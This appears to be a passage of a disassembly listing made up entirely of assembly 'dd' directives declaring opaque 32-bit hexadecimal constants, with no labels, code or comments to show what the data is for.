		dd 76D526F1h, 802E0055h, 0AA3478F8h, 82D84B13h,	0C20C1008h
		dd 0CC4198BAh, 30C03697h, 9303219Dh, 0D7190098h, 0FC3AEF2Dh
		dd 1D124FF0h, 90196C14h, 0B5180550h, 0CD379808h, 0E318C2AFh
		dd 988E000Eh, 78754h, 618D4DBDh, 2B7AE7FEh, 63DCAF50h
		dd 57C2670Fh, 7EEE8087h, 0CAC0C7h, 482892ABh, 4547BF93h
		dd 42B4A051h, 422FC1C8h, 720FD99Bh, 0CCFF5544h,	0F4A25063h
		dd 8BC130h, 0BD7954A7h,	98C29DB6h, 76A1B460h, 0FD2DAA6h
		dd 3802F1Eh, 0EED1CBBh,	5383D1B0h, 0A005F649h, 7E78CD35h
		dd 0ECD928D0h, 0F4DE4822h, 0F770CE06h, 4D7A1883h, 1802A4A1h
		dd 3C9809B8h, 2045A7CDh, 98B10187h, 0B50E0700h,	0C98F0004h
		dd 1A14D07Bh, 7D014482h, 7A1FCFE7h, 0B89EC12Fh,	0C0A541E2h
		dd 809EC718h, 1012DC78h, 9E80893h, 0A28C1A83h, 0F54F2801h
		dd 9D0DF4D3h, 1064405h,	1C32BF37h, 53D70316h, 0CA069096h
		dd 0D4D30C78h, 0D8B216E8h, 63C81EBBh, 0BA7F3602h, 7160424Eh
		dd 2F1C4058h, 0A673897Fh, 0A9F71A18h, 39DF27B8h, 4F8B83EAh
		dd 2425F4EDh, 23982F70h, 99F20018h, 2F5A85CDh, 96F1571Dh
		dd 0BC48CA97h, 195DC08Ch, 0CF5C25FEh, 0D558E0ECh, 646F0016h
		dd 93B035D9h, 0CC28C3D6h, 0B490481Ch, 0CAEAE509h, 0C3BCC05Ch
		dd 6F4A950h, 9808B418h,	0C687CD38h, 50E219Ah, 414C988Dh
		dd 0ECFDCE96h, 38F62BE0h, 86AC5394h, 0DCECAED8h, 0C2260206h
		dd 28A0CB70h, 52201F25h, 12C0049Eh, 63F2B36Eh, 7A66200h
		dd 0DBAB6A46h, 0A8F813h, 0B6A909EAh, 88430AEFh,	630739h
		dd 0AF64DB7Fh, 641EB92h, 8F3866Ch, 20989A62h, 5D4FD709h
		dd 0E7DC0218h, 79045983h, 12F218F1h, 4329FC5h, 45777F54h
		dd 0D4C14E11h, 0EE436Dh, 300CF4AFh, 0A423C70Bh,	256825D5h
		dd 0ACB1E784h, 0F6D3BE4h, 9BD1957Ch, 2003AE60h,	0DC49C77Ah
		dd 73E802A4h, 9CA386D3h, 6FA22320h, 92434105h, 195BD060h
		dd 0FF261004h, 0D35EB0F6h, 10E7FA16h, 8D5C8CAh,	886C53C9h
		dd 73804EC5h, 0DB8DB954h, 0A22C02E9h, 89C3E32h,	71E46845h
		dd 0CECDEB60h, 84CF4014h, 21921FA0h, 0D1804CEEh, 6B819763h
		dd 48B9FCB4h, 0E72D6854h, 5680940Eh, 0FC5ABD2h,	2BE340h
		dd 0BCA09D74h, 455CB7C1h, 0AE67DA00h, 0D96226A1h, 0EF700CDh
		dd 0F6BA5D69h, 0D4E6EF1Dh, 8E0D9101h, 0C056E9AEh, 18617882h
		dd 0ECE04592h, 98C167AFh, 2AA21D3h, 1ECA9DE4h, 0BE118540h
		dd 53C00C5Ch, 0AF30B26h, 0DD2529EAh, 918C17ADh,	78809C18h
		dd 6CCA2730h, 0EB4704C0h, 0A2D7A536h, 3073F290h, 7BE4B96Eh
		dd 19C6A2F6h, 970139Eh,	0CD2A662Eh, 8EA8B420h, 0E40E52B2h
		dd 0E7D9109Ah, 0A0D3F139h, 9809EDC9h, 73388330h, 0A5490772h
		dd 506B498Dh, 30E3253Fh, 0A1A49B03h, 983C7B34h,	18422EB7h
		dd 0E1C36F61h, 9C1FB843h, 0B5050E83h, 8040C73Dh, 9E5109C8h
		dd 29BF60EEh, 0E4798D95h, 0A3A08600h, 38937DF2h, 0C44C490Bh
		dd 0B01E1B00h, 6C04EB41h, 0C4C8C358h, 1CE089A3h, 16251D46h
		dd 6724CCh, 889F5256h, 6B0A6E91h, 0D0FB8362h, 0D1A6730Ch
		dd 4178C6h, 82FA4D94h, 0A5539BF4h, 0C28DB26h, 5DDFFFC0h
		dd 2208463Fh, 1C9C4CC6h, 534BF102h, 94627C21h, 0C2703053h
		dd 0F4397244h, 0D0AA609Dh
		dd 90C03BE7h, 5328A060h, 0B81ACA1Dh, 4C23F688h,	4C1708C4h
		dd 0ED4000A5h, 0DDE7D59Ch, 0B8653080h, 2D646F0h, 4EAF7F35h
		dd 1B001C2Ah, 0D7E67F2Eh, 1B3EE31Eh, 884A2D9Bh,	50898EC0h
		dd 0C422ED12h, 4B819802h, 15E04973h, 8CB03C30h,	0FA195905h
		dd 6C8EAF25h, 16D15C0Eh, 1E685AA0h, 0E51F2CF4h,	0D7819DA1h
		dd 425860ABh, 2AC8FCF4h, 3E4BC31h, 0F8390BF7h, 0B100CE2Bh
		dd 1DB44FEAh, 12120EE0h, 601EEDCAh, 0B2D1ABE0h,	840FD623h
		dd 0B06AED53h, 4710F6A8h, 0D917A11Bh, 866C0AADh, 0D0540BACh
		dd 5A304E0h, 0F87FA72Eh, 19B3948Ch, 4D5D203Bh, 0E28430CBh
		dd 70307B1Ch, 0AE04A522h, 919C67EBh, 13D088CCh,	80F5433Eh
		dd 5C92466Ch, 158F093Bh, 84D224h, 67893E28h, 59E0DFh, 0A82A857h
		dd 0C86A7605h, 1858BAA2h, 0BAE9CD0Dh, 941858E8h, 0DC1D094Fh
		dd 30C00C50h, 0C48347A3h, 0FE26D881h, 0EEE28C23h, 0BD5830h
		dd 4E57C82h, 0A02A1ACFh, 0EFB85601h, 0E2D9CE87h, 600491A4h
		dd 13AA03F5h, 0CB276A00h, 0DD459018h, 53440AEBh, 2844269h
		dd 0B220C2DCh, 0ED8DB882h, 0C2716459h, 0CA28A718h, 0F500DA44h
		dd 0F44F031Eh, 16CBD7C3h, 40D63E4Eh, 0ABD58638h, 0BC8815C6h
		dd 0C26B0736h, 796B93Bh, 5FA60332h, 83CB5680h, 704D1101h
		dd 0C82F0EE2h, 0B4FE5681h, 0F41D851Fh, 4E719EE5h, 79F35000h
		dd 0B714916Bh, 0EF3307D1h, 463489DAh, 0F8002167h, 0D4A99175h
		dd 982A993Bh, 0F4DB3FF2h, 0E537141Fh, 0F30682D6h, 1F30E528h
		dd 0A6304E59h, 67D70077h, 0AFCF4A6Fh, 8022D1EFh, 910C1521h
		dd 4B2CE7h, 0D0435084h,	9E8BDFD9h, 0E794060h, 7CAEFE39h
		dd 0F93500C0h, 711A4BDCh, 0CE00BCB0h, 4E7DC88Ch, 0E2785A1Dh
		dd 535080F0h, 0EA0A2C1Fh, 5428FF80h, 0E8290F76h, 205A60C1h
		dd 0C20A04B5h, 877BF139h, 81403286h, 5F8AF4D0h,	60A3EC50h
		dd 0E62EC94Ah, 0C003302Fh, 0CD4E4FC3h, 3A083013h, 2FDE8421h
		dd 94C2283Ch, 5C3E9Bh, 0BF914B0Fh, 1C2EF622h, 1D786385h
		dd 0DBAFC06Eh, 9B8C0662h, 32314365h, 0CAB73680h, 0DD8100A6h
		dd 5E1B558Bh, 0ED006B5Bh, 36B0B87Dh, 54E638BAh,	0ACA023h
		dd 0BF0FFB84h, 0BE21DD4Fh, 81A07E00h, 0DEDBEAF4h, 5E700316h
		dd 55771D78h, 6E0A6900h, 0E4C334E6h, 8350CA35h,	800311DCh
		dd 0D76F910Dh, 0A06877Fh, 25C8E85h, 0F765BFACh,	41415DBDh
		dd 0F842D858h, 0FF005779h, 0B09011A2h, 64F7663h, 3F85CB2Ah
		dd 9467028h, 75910B06h,	388968D7h, 83101028h, 4726008Eh
		dd 3E514D2Ch, 203087F4h, 5060C019h, 2D8AC86h, 0C0272FE7h
		dd 0D41B52DBh, 60DF8D47h, 669153Ch, 564D3701h, 2B14C3B7h
		dd 0D0C009CFh, 30304839h, 0C30B87Eh, 5F4B702Dh,	77F4A49Eh
		dd 52610033h, 825E96DBh, 9273C5ECh, 8A940E01h, 436E36EDh
		dd 24C0408Ah, 80801158h, 0C0292FE9h, 39448CEBh,	2FE10287h
		dd 0FE7253FAh, 0D7BC7048h, 0B1CF5700h, 125F3858h, 6EC41878h
		dd 1115C051h, 32598C06h, 7A94F9Bh, 766C3DCBh, 0D0594CA3h
		dd 0EB001FF4h, 0AB326298h, 166FDh, 34A76792h, 14E06DF9h
		dd 244E8C38h, 0C486A078h, 2A4130C2h, 0D01AE6h, 0A006D8CDh
		dd 9149A651h, 697C8809h, 54180DBh, 140DFF3Eh, 0FC996B32h
		dd 88E07703h, 490B389Ch, 316E8Bh, 583BFD73h, 0D7AF00D2h
		dd 41F9712Dh, 1C0CEE87h, 3145A3A6h, 0B139096Bh,	10043D2h
		dd 0C3E86F0Ah, 2160E6F6h, 3F898891h, 0B3383DDDh, 53B24001h
		dd 0F02A2292h, 5069971h, 4FC441ABh, 10ED0A31h, 93BCC032h
		dd 60E20064h, 1742D776h, 0E8742E4Dh, 7B008C27h,	0DD1DCEB7h
		dd 4F7C7602h, 59CEE1AEh, 0A1DC0134h, 634430BFh,	0B33DCF00h
		dd 84E4829Eh, 4EB4C32h,	26FD1010h, 465E5460h, 3C860035h
		dd 9A912D99h, 28F14977h, 5331150Eh, 0C8199020h,	5FCEE6Dh
		dd 9080458h, 0C7FEB4h, 98728E2Ch, 0F888A023h, 4040AD5Eh
		dd 82178093h, 0CABBB501h, 5086858Dh, 0EE23E0h, 0C2B1AB7Ch
		dd 2A5F7648h, 530293B8h, 0F74252D4h, 16C4941Ch,	0C00B2DEEh
		dd 0DFD4B248h, 6C1BF42Ch, 0DC18F75Eh, 74ECFAF6h, 7763DF0Bh
		dd 561420BFh, 72E017C5h, 0CCF431h, 7CD0358Ch, 0E5443710h
		dd 3F87AD0Bh, 851C1127h, 2F04E218h, 52E3C02Ch, 88223232h
		dd 43F200DAh, 5600F8C2h, 0C82DACBCh, 2117A3Dh, 887E0D38h
		dd 0F8802994h, 6A56CEC5h, 0EC788158h, 0B7008CC8h, 0B356E39Fh
		dd 0D18903h, 0FD515581h, 1FF07E46h, 923441EFh, 36C01E65h
		dd 68AC8666h, 26BFAF05h, 0C8217D1Dh, 11F0C217h,	0B9F53CB6h
		dd 30E4FE12h, 6C910AA4h, 6E17D716h, 133C2Ch, 2EF58E82h
		dd 0DB288BC1h, 0C96BAB04h, 884FD96h, 2300EC14h,	916C00DEh
		dd 3459B709h, 0F7664486h, 1F917239h, 90072025h,	0F560ACF9h
		dd 0C056E0E1h, 6348EB79h, 2A3D0C60h, 0FD35016Dh, 8ED43E99h
		dd 32316996h, 80377BA8h, 0FBEEFF21h, 2C04CAA3h,	0E3F7F8BCh
		dd 77E7D480h, 53C80046h, 5B997E4Fh, 74A51C11h, 49606864h
		dd 0CE05D3F8h, 30981B25h, 4C4CA48Ah, 8C32B8h, 0B234FDE9h
		dd 6BBB79D3h, 6899F273h, 0E5A17680h, 0B04422DEh, 7928A19Ch
		dd 0A4C2718h, 2917126Ch, 0B2282Ch, 0E97209FFh, 3E57323Ch
		dd 0E5159824h, 9B276E00h, 0B2813882h, 811DFAD0h, 7E6027BFh
		dd 0A32058Ch, 220F7DE8h, 0B327C738h, 0FCB120FEh, 17B73F96h
		dd 3F7FDEAh, 0FB8C88DDh, 56A66108h, 4D467C6Ah, 91CA3200h
		dd 4577628Bh, 48145237h, 0A2DC068h, 27467DE9h, 0B0004A22h
		dd 0E0200A05h, 3E6BDA3Eh, 84079C72h, 0F056D467h, 996AA3B6h
		dd 46A2C815h, 970303D8h, 95EE288Fh, 203AA882h, 0F69BD643h
		dd 0AE631D00h, 465620F5h, 0A16100FAh, 4E86A527h, 0C2722C62h
		dd 55B91100h, 6328C89Ch, 21AEC82h, 1D8B0170h, 484CDA4Dh
		dd 0D3A91F8h, 3D22C6B7h, 91771300h, 0D256B68Fh,	14064BCAh
		dd 0DF23E028h, 0E02D024h, 653481B7h, 781A80E0h,	0F43DD291h
		dd 0AF3F9301h, 4B6F1D5Ch, 42A2218Ch, 0D00B3E9h,	300EC2B4h
		dd 2EAE23BCh, 0E99C0CE5h, 4A11781Dh, 7B2E4480h,	3B0970C2h
		dd 8E07CCC8h, 0B009BE61h, 0D8446Eh, 0AB388A36h,	0B868A321h
		dd 0F4CD1F00h, 0F9F22406h, 58CB02EDh, 42993BC8h, 88039C62h
		dd 43F16530h, 14B040F6h, 0D0032490h, 3419CF0Dh,	17B78175h
		dd 837DB891h, 0D2E70A33h, 104D31F7h, 1D0A0BB6h,	406BF5F0h
		dd 5128B2D2h, 842E7AFCh, 4717839h, 6B88818h, 6887D726h
		dd 11402CC4h, 0FA0D8E80h, 0E0C88507h, 0D6A0325Ch, 0A9397820h
		dd 0E4F640CCh, 2E09BC0h, 5C5AACC2h, 5F1DC885h, 86B40618h
		dd 3E6184Dh, 370F1900h,	0D2C4B6CCh, 2C5182C0h, 0F4192779h
		dd 75011CC1h, 0E87E0456h, 0CD005374h, 0F0094992h, 84B33290h
		dd 7161E3B8h, 61AA6091h, 0EC02CB1h, 0E09174h, 5764166Dh
		dd 45854323h, 0A3263FE2h, 9E935C92h, 0A47E0090h, 59F4380Eh
		dd 0C2F6DC01h, 41F902C4h, 20F399C0h, 48CE18Ch, 0BC88916Fh
		dd 206C6271h, 0B4917A14h, 859BD300h, 707255E5h,	99DF70A6h
		dd 3A4F1394h, 4A2360h, 37BA01BFh, 0D87326C0h, 8C0D860Fh
		dd 3456C0DCh, 646AD6C2h, 0BAFEE04Ah, 2C88CAC5h,	9C6B4C5Eh
		dd 788C4CF8h, 0DF3C0247h, 1FBB2298h, 1EA25440h,	0E54B2492h
		dd 0BF980040h, 94B1FDh,	5EEA72D5h, 0E4A5C03Ch, 39C50800h
		dd 0C4B7C3E3h, 1EF9080h, 8D341D43h, 80F9777Dh, 4FF57491h
		dd 0F1215B3h
		dd 0FDD18C2h, 0FBD7E9C1h, 1CC460BFh, 71797899h,	2FFA9918h
		dd 5D3BBD07h, 0F39A6B4h, 507A635Ch, 0B6D00C41h,	1997EACh
		dd 2A6188F8h, 2BC00918h, 80E07991h, 0B70B9176h,	19008789h
		dd 3861917Dh, 3A8B0510h, 4018E50Ah, 405A6B94h, 8E2B56Eh
		dd 1CD89E01h, 0F5CE3E09h, 3A818451h, 4EEF5C70h,	23B42F6Dh
		dd 270B0032h, 0E39E6D70h, 40008170h, 0BDB1550Ch, 12424D96h
		dd 8EDB3D8Bh, 0C13D88DCh, 803C9C87h, 0AC4DF571h, 0E8569E57h
		dd 0CDDA0024h, 0D75D2708h, 3B56E472h, 0CC0AF234h, 20E10814h
		dd 30C0745Ah, 5C7DEE0Ah, 0B1E02C1Fh, 66000A28h,	7881C495h
		dd 74D29A7Eh, 70901059h, 14EC7F19h, 2961527h, 60564DBCh
		dd 0E23449F4h, 0C17E036Eh, 4EB89078h, 8F4B303Ch, 17813D5Eh
		dd 1000206Fh, 0D637B7ECh, 0E302DD3Ah, 0CE41BFD5h, 99104851h
		dd 0C4CB023Dh, 430B6268h, 1827B061h, 6B910409h,	326F5FD7h
		dd 810E2025h, 0BD04F68Eh, 0D43EC0DAh, 0A86038E5h, 0D613E138h
		dd 0E00C5CA2h, 5F1E44ACh, 0C0967D03h, 2D6EA6CEh, 5C393120h
		dd 50E180Ah, 0B7D77091h, 0F48706Eh, 67138E86h, 8A0CCD8Dh
		dd 0A01953h, 0F5A824C2h, 0DFB6DC2Eh, 5C00864Fh,	0E86F8A78h
		dd 0C1A0AB77h, 7424C55Bh, 5E88386Eh, 0C41AC083h, 890043D5h
		dd 6BC3DA7Eh, 415E870h,	0B069CD32h, 15CE351h, 0BD88AA75h
		dd 0F630B87Ah, 0B0394883h, 0EB008223h, 0BBC03B2Fh, 3444864Fh
		dd 2FE31C89h, 91AD133Ah, 0CA20C40h, 3D2F0AEDh, 5020CBC0h
		dd 2F00E583h, 76220579h, 2FABAB1h, 0D6C0D1D0h, 0B88B36C6h
		dd 1E7EF80Fh, 11DD272h,	0EE9974A0h, 0C5083D58h,	602B5F04h
		dd 5F053223h, 0E7C08725h, 8E4DA7h, 6CF630Fh, 2BF7B03Fh
		dd 7C34C62Eh, 0D6568C0Eh, 956824C0h, 19833B6Eh,	28427717h
		dd 0CFF45758h, 0B6122894h, 38B26074h, 0C53029B2h, 0BB1A05B4h
		dd 0C2411487h, 14515FC4h, 1A184C79h, 5B0CD07Eh,	0A1C342D7h
		dd 9ABAE2BCh, 2054902Ch, 17001B28h, 38903DC8h, 5092D304h
		dd 0CC859h, 12F75552h, 8611A51Ah, 1D7B8C01h, 0CF6C70F8h
		dd 0FCADD430h, 995FE087h, 183679D8h, 0FF120263h, 0D33E7F1Eh
		dd 7600D844h, 2AFDAA9h,	2086BF6Ah, 209666BAh, 6480C5E9h
		dd 575E6035h, 836502B2h, 1072FF1Ah, 40154050h, 0BC454CEh
		dd 0CE5D2C1Dh, 71C091F8h, 3D8518C2h, 4D241814h,	31467C98h
		dd 73431501h, 0F07449C3h, 45875B6h, 0DC1C2AE0h,	1A20DCB0h
		dd 0CAD712EFh, 77904BDAh, 0D9112019h, 4CC46DD4h, 5179C0C8h
		dd 397B2557h, 1C9E223Fh, 0CF6541BFh, 6C0335C5h,	39229Ch
		dd 6E863245h, 35938274h, 0CF1FB100h, 5D6A838h, 171D0067h
		dd 0FF3B379Ah, 64981925h, 2A5F7500h, 0CFA115B7h, 70E89BB9h
		dd 0A3028385h, 429EBF65h, 0E04455Fh, 60768D3Bh,	9576E01Ch
		dd 0F3EDBD16h, 248C6CC0h, 542C98F6h, 264090A0h,	888410Bh
		dd 354B88A4h, 0F1518738h, 0D17CE757h, 0CA497DF9h, 50B69C80h
		dd 1802A620h, 2D83740Fh, 646CE875h, 59E52E99h, 764760C8h
		dd 0AD040779h, 67C228C8h, 4BF2B0B2h, 0E5EC6331h, 0F65D0B33h
		dd 0B040C8E6h, 94E2CEC1h, 0C4006490h, 0C9FFF89h, 0A81FE035h
		dd 0E1C9B4h, 0CC208496h, 0BF196311h, 90A55600h,	0ECDF9188h
		dd 0E0A010Ch, 3FDE5A03h, 0B85C39A0h, 354900B4h,	0F54FDC37h
		dd 5D00BAEAh, 8360C2C5h, 886D3Bh, 55BC48B2h, 0D28CD34h
		dd 99E46375h, 0BA278D79h, 110C17B9h, 9D088029h,	91C543Fh
		dd 0E07C4122h, 0E8C0DC4Ah, 860ECD33h, 43E8A138h, 0D1171976h
		dd 2DE0853Dh, 0B45A1781h, 0F2D4C496h, 3023F2B4h, 7D2E8035h
		dd 5A1F2C83h, 19E773E0h, 585E6AC4h, 1831A61Dh, 274674h
		dd 0EA33740Bh, 175DDDC3h, 4AFF7CE7h, 3389E68h, 27CCE878h
		dd 0A34D1805h, 64A459A6h, 14304044h, 1278493Ch,	1C421BD0h
		dd 7D53A6h, 9B480E7Eh, 25072A16h, 4A147440h, 2A430A3Dh
		dd 1CF4A087h, 18E1EEE0h, 3CF3112Bh, 0F0C40E13h,	802F191Eh
		dd 0A3801CECh, 0CF6F884Dh, 31753030h, 713471C2h, 38974C3h
		dd 0C8152DBFh, 0BA185F81h, 0EF18B693h, 0B9ED2F50h, 2B118C97h
		dd 6BCBAB80h, 7400D417h, 117046D6h, 9C94C078h, 0F46D1454h
		dd 8C27E8h, 74BF1F11h, 907880EDh, 0A42AA82Ah, 81C08648h
		dd 5CB1C07Ah, 5163830h,	0B657D803h, 1B78C204h, 8EFBC00Fh
		dd 0E41D559Eh, 0CA830003h, 0D402EF98h, 88187A45h, 0C1408507h
		dd 792E34D6h, 9380BB58h, 12A4F272h, 0E28E9CA9h,	306CF2B8h
		dd 0E40059C8h, 0CE45848Dh, 3497688h, 6687D853h,	0F10C2DE5h
		dd 3954791Dh, 1068649Eh, 0C7404443h, 4F0E8A4h, 9D3E9115h
		dd 0E214D0F6h, 77240DB5h, 0AA8210C6h, 0D7DB2E47h, 0C9BA2FE0h
		dd 7DFC1400h, 0BDCEC335h, 0CD509B2h, 9400C867h,	0C73C6250h
		dd 6040866Ah, 301DF300h, 1AB67FE0h, 0F12E880Dh,	0FAA46C82h
		dd 670F640Ah, 1C015692h, 6FE8727Dh, 0D2507570h,	4C8B0220h
		dd 209E7A0Ah, 25DE4A23h, 46BFC817h, 0F61EE203h,	97FAC5B7h
		dd 0EF00ACC4h, 0DB61861Ch, 38DA3D53h, 0E800628Eh, 8BA296B1h
		dd 0F1173303h, 988B5FCCh, 39C03588h, 2884231Bh,	0F1D430CEh
		dd 5FC2C017h, 68393383h, 8D479D99h, 0CB93602h, 10147A07h
		dd 181BB322h, 4E59499Ch, 4600B047h, 0A310273h, 0B1C77DEDh
		dd 0BC13BF80h, 7E220AD8h, 3003F026h, 39A2CE41h,	4BEC2838h
		dd 1F7C078Ch, 979E357Bh, 5C50F987h, 0BC8DBE0Bh,	8306820Ch
		dd 44BCE7CBh, 0A77A6039h, 632A139Ch, 0D7E49327h, 4026FCD9h
		dd 0C801CF08h, 0BA387501h, 42EC4B7h, 0C684071h,	8C2CBCh
		dd 3E5CB749h, 80C7CEE6h, 0C8777E25h, 4565C0h, 218820C9h
		dd 0BC93C2A0h, 0A0A2C422h, 14BF43E9h, 0A8635686h, 6D0A2577h
		dd 0B301B864h, 22ACEB8Fh, 3862E55Bh, 8D8B017Fh,	0A6CF7DD6h
		dd 21BFDC97h, 7F4AC12h,	1D0098E2h, 0C7EFBE47h, 2003DC88h
		dd 56F17CFEh, 67C0F4C5h, 4E15E680h, 0C8648BCAh,	0E170C036h
		dd 755CA2E8h, 0E87C58C0h, 6008C4Ah, 0F3D0FC21h,	171EBE9Ah
		dd 909711DBh, 0D3E7BDC4h, 18794C00h, 34366BAAh,	4D1C2553h
		dd 4C0ACCDh, 76980D9h, 9011655Ah, 0E7F4234Bh, 40421FD2h
		dd 3179AC59h, 1F009418h, 3C3A5ECh, 497287Bh, 0BF2A34C4h
		dd 1358A022h, 0F07A4D04h, 0E0E3A239h, 72C0A8B7h, 2FB32E6h
		dd 0B11FDB23h, 67203BA2h, 0DBE85h, 30E56909h, 16F746B5h
		dd 9E26B1F2h, 0DB801C44h, 75FC9BE4h, 909D00FDh,	9F1E7FABh
		dd 0D3078606h, 4D6EE255h, 20E21D05h, 0CA3067E2h, 4CE706FDh
		dd 0F8366872h, 434BBC7Dh, 0EB777003h, 9B301838h, 0C826395Bh
		dd 81A47616h, 542A841Fh, 0AC00EEEAh, 0FA26CD52h, 12E793h
		dd 0B191EB61h, 7EBF3876h, 98719A24h, 0CCF0902h,	60C8E86Fh
		dd 0FC1D81FCh, 0C2804DA4h, 89FE67BCh, 1BAD2E37h, 0F06498A1h
		dd 805AC5A1h, 7C7B19CEh, 804A9A3Eh, 0CC1FDC3Bh,	38A5AAEFh
		dd 0FC009DCDh, 0F7B1130Ah, 9034CF37h, 28AC695Bh, 0B8C67BCh
		dd 573E584Fh, 99323086h, 818DD02h, 0C8DCC94Ah, 914F0C0h
		dd 13AB7990h, 0D05E5884h, 782DEEF4h, 15EF2801h,	37730CD1h
		dd 2650EC70h, 4104CEC4h, 386E8327h, 619E18C4h, 30ACC281h
		dd 954854B2h, 1129872h,	94F4E0h, 0A347C582h, 78C077ACh
		dd 64BF2519h, 0D3035401h, 0E08AFA92h, 115087B4h, 0CAD630B9h
		dd 0D0D74736h, 0B80489Bh, 0D384D92Bh, 7167BE00h, 4D4B6E76h
		dd 3E5917F4h, 783C9099h
		dd 9C246352h, 46745C08h, 2787E72h, 23530A00h, 8DE144C2h
		dd 6F1D0549h, 0F6504CF2h, 0AF78F1A8h, 0CB2053E1h, 0E920E9CEh
		dd 381249C9h, 8877DE04h, 6B34A090h, 0E7F3EF06h,	210201Ch
		dd 0D7458664h, 0C0E6CA3Eh, 0EE096DECh, 18329733h, 134658h
		dd 80442CBCh, 6A197F55h, 9DD93800h, 0F1EC0BC8h,	0E0680011h
		dd 0DFD8B916h, 90008C88h, 3E2D7D82h, 2C2F13FFh,	2C04E86Fh
		dd 3A467454h, 0D34D5802h, 30494B22h, 2041A8B5h,	7856BF20h
		dd 0D8979580h, 0A8806691h, 0CBF0AE22h, 0E2001E7Eh, 8D630561h
		dd 13E38C9Fh, 0D0A213BFh, 4FC6D990h, 0C95AE516h, 0AAADE300h
		dd 1A77D18Bh, 384765EFh, 1970F860h, 37547212h, 0E93A5002h
		dd 5E385EBEh, 677C246h,	0AB14C3B6h, 1D3EE8BFh, 55E09221h
		dd 0EB408840h, 2D13CB24h, 0FCA98CB5h, 0A58034B7h, 0F7FE261h
		dd 0E61E0048h, 42D2A647h, 0BC802E83h, 2EBA4B0Ah, 1E2380h
		dd 949E3362h, 787253E5h, 95456304h, 0BCE8F656h,	8C2CBCh
		dd 0EB196526h, 8668CDBAh, 0C3779E15h, 0E532039Ch, 88E630B8h
		dd 0F6F2A80h, 0B97ED3Ch, 7862E320h, 37485C88h, 0A16C0384h
		dd 3F44BDC4h, 0D0090C81h, 680142C7h, 0C9EE770Ah, 0C464209Eh
		dd 4C43BC4Eh, 0BC0BE870h, 15C1DCF8h, 729B3EC1h,	0DA5E2EACh
		dd 0E50C682Eh, 5CF62957h, 0A000B4B6h, 4D5A77ADh, 204DAF22h
		dd 0A82E5F64h, 0AE006B23h, 0A276A512h, 4D65062Bh, 51493F42h
		dd 11149795h, 0B937803Dh, 91A59B0Ch, 0C9400BACh, 104050EAh
		dd 90004AF4h, 283C055h,	121A2B91h, 362F68Bh, 0E0248FD0h
		dd 0D40131CEh, 94288904h, 5DF0C58Eh, 73A778A5h,	3E3B06AFh
		dd 8053E8D1h, 2456C458h, 11277020h, 4BE161C4h, 64A5CCh
		dd 41E5D8F9h, 1D04D94Fh, 5C5A2804h, 7C888D67h, 12A2EC64h
		dd 0CB94C227h, 0C04AC844h, 0CE2A33B4h, 8469F439h, 9BBB1A86h
		dd 0A3835C81h, 0C5001C29h, 571B56C6h, 9E00247Bh, 31BC7280h
		dd 5FEBEE6Bh, 26806EB4h, 9B0ADB3Fh, 0CC80C837h,	0A3A113E7h
		dd 2FB3017Fh, 1B0B257Bh, 6C784097h, 0ED0F12EBh,	109A9C4h
		dd 2B22D6F6h, 3130012Bh, 0C8B665C8h, 5805C12Eh,	0B0D83EB2h
		dd 4D7890D0h, 9031020Eh, 0FC877A36h, 541D94A9h,	780C711h
		dd 895F13Dh, 0C4397100h, 0CA9E7803h, 0D95CB98Ah, 35C186Bh
		dd 6EB6A109h, 8EB05ED7h, 7348C44Ah, 0AC7A8544h,	2AF16082h
		dd 0F92808ECh, 0EF8A5403h, 4E8EFB40h, 23DC2F31h, 1BB7002Ch
		dd 5E024FABh, 0D872B405h, 0A48CF446h, 318EE9E6h, 9F8075DAh
		dd 0ED4A9825h, 0A2EEE500h, 12510C44h, 7464733Eh, 46D75F03h
		dd 0F1459EC4h, 0CD62ED00h, 1F09E70Eh, 0BAE13897h, 0B3F9E980h
		dd 688503CFh, 1D87E614h, 8C65BCA4h, 0E436001h, 5B14DEC4h
		dd 97A394C4h, 0FF965420h, 0B9F43A7Ah, 24A0C15Fh, 8F19122Eh
		dd 7280043h, 679B3CCFh,	0FDB31D3Bh, 3B385862h, 12B872CEh
		dd 0D1E03186h, 50F77784h, 0CDBE04C8h, 2C33BD01h, 69A467Eh
		dd 9BCAA07Eh, 45C0B00h,	3099928Ah, 2FF55AB9h, 2523D8h
		dd 9876D4D6h, 72E4D306h, 0AE3B4098h, 97FAA7B9h,	804D911Ch
		dd 703CEADh, 0EB091C8Fh, 438C6478h, 9CD8FEC2h, 0FF1293A8h
		dd 34D1731Ch, 0C8386B30h, 0C4CD2B80h, 0D07AA89h, 0B5E33425h
		dd 0F72A5150h, 4BCC9017h, 72282CDAh, 5EB974B6h,	7A780022h
		dd 0C7970094h, 10527DA3h, 0D93FB70Ch, 0F7358017h, 3CE3C990h
		dd 20CC0515h, 8A6E3A83h, 0AC305C2Ch, 0E3028C3Eh, 0AAD6C01Ah
		dd 10ACF84Fh, 65338E7h,	64CA86BFh, 92430918h, 7709E5D5h
		dd 47C13C6Dh, 77CCBF48h, 3CC73DAh, 274ACC0h, 0DBD7430Bh
		dd 0DEF61020h, 81C2FF2Ch, 36B27Eh, 0A30B9478h, 96B38705h
		dd 0C440EF39h, 0CEC009F3h, 0C0829F02h, 84971C14h, 0C29F3D91h
		dd 0C6FEB963h, 0BB207CD2h, 0C4B63E34h, 0B3F6FC13h, 3024A2F8h
		dd 34021D32h, 0C3F07D4Ch, 58DC5CB8h, 91C04A9Eh,	0A5811968h
		dd 779500EAh, 0CCAFDDFh, 7627F640h, 0AB701085h,	239500A7h
		dd 529E8E96h, 0A500CAE8h, 0A6755C36h, 16F7BD7h,	49B715E2h
		dd 60517834h, 0BC1E1358h, 8A0CF556h, 717D068h, 0B87A4CC2h
		dd 39839023h, 0E9099964h, 1D530DCDh, 804C11B0h,	0D384A4C2h
		dd 809D4CE1h, 0D2E37581h, 0B615EC48h, 967FDAF6h, 2DE9DD50h
		dd 30B6A00h, 5389C3EDh,	429B339Fh, 0BEA81139h, 0CC053859h
		dd 0E00A09BFh, 2CB4C8h,	0CA84C8B3h, 9FC47570h, 0C7C458A5h
		dd 64F27067h, 99038C02h, 7E9ED8CDh, 7A35A2C0h, 0DEF82EE8h
		dd 800B40F4h, 3C5039BBh, 143ABCA0h, 581048CFh, 37F710CCh
		dd 0D03FA216h, 12CAAF0h, 14CBFA02h, 7B1623DCh, 5C24ACE4h
		dd 0F60A3A46h, 5C78644Dh, 9B00C846h, 0EFFE3040h, 0C04394Ch
		dd 1D372A99h, 0C0035CD2h, 4F7C876Bh, 0A6C4244Dh, 64E8E1BCh
		dd 1FCAFCE4h, 0A67B0183h, 574A882Ch, 3B6C442Fh,	0E33D269Ch
